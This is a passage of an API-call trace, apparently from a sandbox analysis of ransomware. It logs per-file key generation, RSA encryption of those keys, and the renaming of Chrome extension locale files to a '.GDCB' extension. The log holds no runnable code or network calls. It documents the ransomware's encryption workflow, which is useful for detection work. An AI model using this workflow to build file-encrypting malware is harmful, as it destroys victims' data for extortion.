lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.728] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.728] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.730] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795fe0) returned 1 [0266.730] CryptGetKeyParam (in: hKey=0x6795fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.731] CryptEncrypt (in: hKey=0x6795fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.731] GetLastError () returned 0x0 [0266.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.731] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0266.733] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ae0) returned 1 [0266.733] CryptGetKeyParam (in: hKey=0x6795ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.733] CryptEncrypt (in: hKey=0x6795ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.733] GetLastError () returned 0x0 [0266.733] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.733] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.734] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.737] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.740] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe3, lpOverlapped=0x0) returned 1 [0266.748] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.755] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0266.761] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.766] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.767] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.767] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.769] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.771] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.771] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.773] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796020) returned 1 [0266.773] CryptGetKeyParam (in: hKey=0x6796020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.774] CryptEncrypt (in: hKey=0x6796020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.774] GetLastError () returned 0x0 [0266.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.774] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.775] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795a60) returned 1 [0266.776] CryptGetKeyParam (in: hKey=0x6795a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.776] CryptEncrypt (in: hKey=0x6795a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.776] GetLastError () returned 0x0 [0266.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.776] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.777] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.780] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.782] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd4, lpOverlapped=0x0) returned 1 [0266.790] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.797] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0266.802] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.806] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.806] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.806] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.809] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.811] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.811] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.811] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.812] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.814] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795aa0) returned 1 [0266.814] CryptGetKeyParam (in: hKey=0x6795aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.814] CryptEncrypt (in: hKey=0x6795aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.814] GetLastError () returned 0x0 [0266.814] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.814] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0266.816] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796120) returned 1 [0266.816] CryptGetKeyParam (in: hKey=0x6796120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.816] CryptEncrypt (in: hKey=0x6796120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.816] GetLastError () returned 0x0 [0266.816] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.816] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.817] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.820] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.822] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x98, lpOverlapped=0x0) returned 1 [0266.831] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.838] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.gdcb")) returned 1 [0266.843] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.849] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.849] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.853] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.853] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.854] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.856] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67964a0) returned 1 [0266.856] CryptGetKeyParam (in: hKey=0x67964a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.856] CryptEncrypt (in: hKey=0x67964a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.856] GetLastError () returned 0x0 [0266.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.856] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.858] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67968a0) returned 1 [0266.858] CryptGetKeyParam (in: hKey=0x67968a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.858] CryptEncrypt (in: hKey=0x67968a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.859] GetLastError () returned 0x0 [0266.859] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.859] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.860] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.863] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.865] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xff, lpOverlapped=0x0) returned 1 [0266.874] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.881] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.gdcb")) returned 1 [0266.886] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.892] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.892] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.897] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.900] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67962e0) returned 1 [0266.900] CryptGetKeyParam (in: hKey=0x67962e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.900] CryptEncrypt (in: hKey=0x67962e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.900] GetLastError () returned 0x0 [0266.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.900] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0266.902] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67960e0) returned 1 [0266.902] CryptGetKeyParam (in: hKey=0x67960e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.902] CryptEncrypt (in: hKey=0x67960e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.903] GetLastError () returned 0x0 [0266.903] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.903] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.904] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.907] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.909] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb7, lpOverlapped=0x0) returned 1 [0266.918] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.927] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0266.933] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.938] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.938] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 